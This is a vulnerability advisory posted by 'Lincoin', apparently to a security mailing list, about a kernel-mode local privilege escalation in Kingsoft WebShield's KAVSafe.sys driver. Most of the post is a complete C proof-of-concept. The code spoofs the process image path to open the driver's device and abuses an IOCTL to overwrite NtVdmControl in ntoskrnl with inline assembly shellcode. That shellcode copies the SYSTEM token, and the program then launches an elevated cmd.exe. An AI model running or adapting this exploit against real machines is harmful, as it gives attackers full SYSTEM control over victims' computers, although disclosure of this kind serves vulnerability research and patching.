Kingsoft WebShield KAVSafe.sys <= 2010.4.14.609(2010.5.23) Kernel Mode Local 
Privilege Escalation Vulnerability



VULNERABLE PRODUCTS 

Kingsoft WebShield <= 3.5.1.2 (2010.5.23)



Signature Date: 2010-5-23 2:33:54



And



KAVSafe.sys <= 2010.4.14.609

Signature Date&#65306;2010-4-14 13:42:26



DETAILS:

Kavsafe.sys create a device called \Device\KAVSafe , and handles 
DeviceIoControl request IoControlCode = 0x830020d4 , which can overwrite 
arbitrary kernel module data



EXPLOIT CODE:



#define IOCTL_HOTPATCH_KERNEL_MODULE CTL_CODE(0x8300 , 0x835 , METHOD_BUFFERED 
,FILE_ANY_ACCESS)

typedef LONG (WINAPI *PNT_QUERY_INFORMATION_PROCESS)(

                                                  HANDLE ProcessHandle,

                                                  DWORD ProcessInformationClass,

                                                  PVOID ProcessInformation,

                                                  ULONG 
ProcessInformationLength,

                                                  PULONG ReturnLength

    );



typedef struct _STRING {

    USHORT Length;

    USHORT MaximumLength;

    PCHAR Buffer;

} STRING;

typedef STRING *PSTRING;

typedef struct _RTL_DRIVE_LETTER_CURDIR {

    USHORT Flags;

    USHORT Length;

    ULONG TimeStamp;

    STRING DosPath;

} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;

typedef struct _UNICODE_STRING {

    USHORT Length;

    USHORT MaximumLength;

    PWSTR  Buffer;

} UNICODE_STRING;

typedef UNICODE_STRING *PUNICODE_STRING;

typedef const UNICODE_STRING *PCUNICODE_STRING;

#define RTL_MAX_DRIVE_LETTERS 32

#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001

typedef struct _CURDIR {

    UNICODE_STRING DosPath;

    HANDLE Handle;

} CURDIR, *PCURDIR;

typedef struct _RTL_USER_PROCESS_PARAMETERS {

    ULONG MaximumLength;

    ULONG Length;

        

    ULONG Flags;

    ULONG DebugFlags;

        

    HANDLE ConsoleHandle;

    ULONG  ConsoleFlags;

    HANDLE StandardInput;

    HANDLE StandardOutput;

    HANDLE StandardError;

        

    CURDIR CurrentDirectory;        // ProcessParameters

    UNICODE_STRING DllPath;         // ProcessParameters

    UNICODE_STRING ImagePathName;   // ProcessParameters

    UNICODE_STRING CommandLine;     // ProcessParameters

    PVOID Environment;              // NtAllocateVirtualMemory

        

    ULONG StartingX;

    ULONG StartingY;

    ULONG CountX;

    ULONG CountY;

    ULONG CountCharsX;

    ULONG CountCharsY;

    ULONG FillAttribute;

        

    ULONG WindowFlags;

    ULONG ShowWindowFlags;

    UNICODE_STRING WindowTitle;     // ProcessParameters

    UNICODE_STRING DesktopInfo;     // ProcessParameters

    UNICODE_STRING ShellInfo;       // ProcessParameters

    UNICODE_STRING RuntimeData;     // ProcessParameters

    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[ RTL_MAX_DRIVE_LETTERS ];

} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB {

    BOOLEAN InheritedAddressSpace;      // These four fields cannot change 
unless the

    BOOLEAN ReadImageFileExecOptions;   //

    BOOLEAN BeingDebugged;              //

    BOOLEAN SpareBool;                  //

    HANDLE Mutant;                      // INITIAL_PEB structure is also 
updated.

        

    PVOID ImageBaseAddress;

    PVOID Ldr;

    struct _RTL_USER_PROCESS_PARAMETERS *ProcessParameters;

} PEB, *PPEB;

typedef LONG KPRIORITY;

typedef struct _PROCESS_BASIC_INFORMATION {

    LONG ExitStatus;

    PVOID PebBaseAddress;

    ULONG_PTR AffinityMask;

    KPRIORITY BasePriority;

    ULONG_PTR UniqueProcessId;

    ULONG_PTR InheritedFromUniqueProcessId;

} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;

typedef struct {

    ULONG   Unknown1;

    ULONG   Unknown2;

    PVOID   Base;

    ULONG   Size;

    ULONG   Flags;

    USHORT  Index;

    USHORT  NameLength;

    USHORT  LoadCount;

    USHORT  PathLength;

    CHAR    ImageName[256];

} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;



typedef struct {

    ULONG   Count;

    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];

} X_SYSTEM_MODULE_INFORMATION, *PX_SYSTEM_MODULE_INFORMATION;

typedef LONG (WINAPI *PNT_QUERY_SYSTEM_INFORMATION) (

                                                   LONG SystemInformationClass,

                                                 PVOID SystemInformation,

                                                   ULONG 
SystemInformationLength,

                                                   PULONG ReturnLength

    );



#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )

typedef LONG (WINAPI *PNT_VDM_CONTROL) (

                           ULONG Service,

                           PVOID ServiceData

    );

VOID __declspec(naked) R0ShellCodeXP()

{

        __asm

        {

                mov eax,0xffdff124

                mov eax,[eax]

                mov esi ,dword ptr[eax+0x220]

                mov eax,esi

searchxp:

                mov eax,dword ptr[eax+0x88]

                sub eax,0x88

                mov edx,dword ptr[eax+0x84]

                cmp edx,4

                jnz searchxp

                mov eax,dword ptr[eax+0xc8]

                mov dword ptr[esi + 0xc8] , eax

                ret 8 

        }

}

VOID NopNop()

{

        printf("nop!\n");

}



#include "malloc.h"

int main(int argc, char* argv[])

{



        printf("KSWebShield KAVSafe.sys <= 2010,04,14,609\n"

                "Kernel Mode Privilege Escalation Vulnerability 
Proof-of-Concept\n"

                "2010-5-23\n"

                "By Lincoin \n\nPress Enter");

        HKEY hkey ; 

        WCHAR InstallPath[MAX_PATH];

        DWORD datatype ; 

        DWORD datasize = MAX_PATH * sizeof(WCHAR);

        ULONG oldlen ;

        PVOID pOldBufferData = NULL ; 



        if (RegOpenKey(HKEY_LOCAL_MACHINE , "SOFTWARE\\Kingsoft\\KSWSVC", 
&hkey) == ERROR_SUCCESS)

        {

                if (RegQueryValueExW(hkey , L"ProgramPath" , NULL , &datatype , 
(LPBYTE)InstallPath , &datasize) != ERROR_SUCCESS)

                {

                        RegCloseKey(hkey);

                        printf("KSWebShield not installed\n");

                        getchar();

                        return 0 ;

                }



                RegCloseKey(hkey);

        }

        else

        {

                printf("KSWebShield not installed\n");

                getchar();

                return 0 ;

        }

        wcscat(InstallPath , L"\\kavinst.exe");





        PROCESS_BASIC_INFORMATION pbi ; 



        PNT_QUERY_INFORMATION_PROCESS pNtQueryInformationProcess ;

        

        pNtQueryInformationProcess = 
(PNT_QUERY_INFORMATION_PROCESS)GetProcAddress(GetModuleHandle("ntdll.dll" ) , 
"NtQueryInformationProcess");

        

        pNtQueryInformationProcess(NtCurrentProcess() , 0 , &pbi , sizeof(pbi) 
, NULL);



        PPEB peb ; 



        peb = (PPEB)pbi.PebBaseAddress;

        oldlen = peb->ProcessParameters->ImagePathName.Length;

        peb->ProcessParameters->ImagePathName.Length = wcslen(InstallPath) * 
sizeof(WCHAR);

        pOldBufferData = malloc(peb->ProcessParameters->ImagePathName.Length);

        
RtlCopyMemory(pOldBufferData,peb->ProcessParameters->ImagePathName.Buffer , 
peb->ProcessParameters->ImagePathName.Length);

        RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , 
InstallPath ,peb->ProcessParameters->ImagePathName.Length );

        HANDLE hdev = CreateFile("\\\\.\\KAVSafe" , 

                FILE_READ_ATTRIBUTES , 

                FILE_SHARE_READ , 

                0,

                OPEN_EXISTING , 

                0,

                0);



        if (hdev==INVALID_HANDLE_VALUE)

        {

                printf("cannot open device %u\n", GetLastError());

                getchar();

                return 0 ; 

        }

        RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , 
pOldBufferData,peb->ProcessParameters->ImagePathName.Length);

        peb->ProcessParameters->ImagePathName.Length = (USHORT)oldlen ; 

        



        PNT_QUERY_SYSTEM_INFORMATION pNtQuerySystemInformation  ;

        pNtQuerySystemInformation = 
(PNT_QUERY_SYSTEM_INFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll") , 
"NtQuerySystemInformation");

        X_SYSTEM_MODULE_INFORMATION sysmod ; 

        HMODULE KernelHandle ; 



        pNtQuerySystemInformation(0xb, &sysmod, sizeof(sysmod), NULL);

        

    KernelHandle = LoadLibrary(strrchr(sysmod.Module[0].ImageName, '\\') + 1);

        

        if (KernelHandle == 0 )

        {

                printf("cannot load ntoskrnl!\n");

                getchar();

                return 0 ; 

        }

        PVOID pNtVdmControl = GetProcAddress(KernelHandle , "NtVdmControl");



        if (pNtVdmControl == 0 )

        {

                printf("cannot find NtVdmControl!\n");

                getchar();

                return 0 ;              

        }

        pNtVdmControl = (PVOID)((ULONG)pNtVdmControl - (ULONG)KernelHandle  );



        printf("NtVdmControl = %08x" , pNtVdmControl );

        

        getchar();

        ULONG ShellCodeSize = (ULONG)NopNop - (ULONG)R0ShellCodeXP;

        ULONG pShellCode = (ULONG)R0ShellCodeXP; 





        PVOID Data = malloc(0x48 + ShellCodeSize);



        CopyMemory((PVOID)((ULONG)Data + 0x48) , R0ShellCodeXP , ShellCodeSize);

        

        

        

        CHAR ModuleName[68]= "ntoskrnl.exe" ; 

        RtlCopyMemory( Data , ModuleName , sizeof(ModuleName));

        *(ULONG*)((ULONG)Data + 64) = (ULONG)pNtVdmControl;

        *(ULONG*)((ULONG)Data + 68) = ShellCodeSize ;

        

        ULONG btr ; 

        if (!DeviceIoControl(hdev ,

                IOCTL_HOTPATCH_KERNEL_MODULE , 

                Data , 

                0x48 + ShellCodeSize , 

                NULL , 

                0,

                &btr , 0 

                ))

        {

                printf("cannot device io control!%u\n" , GetLastError());

                getchar();

                return 0;

        }



        CloseHandle(hdev);



        PNT_VDM_CONTROL pR3NtVdmControl = 
(PNT_VDM_CONTROL)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtVdmControl");

        pR3NtVdmControl(0,0);

        

        WinExec("cmd.exe" , SW_SHOW);

        printf("OK!\n ");



        getchar();



        return 0; 

}

Reply via email to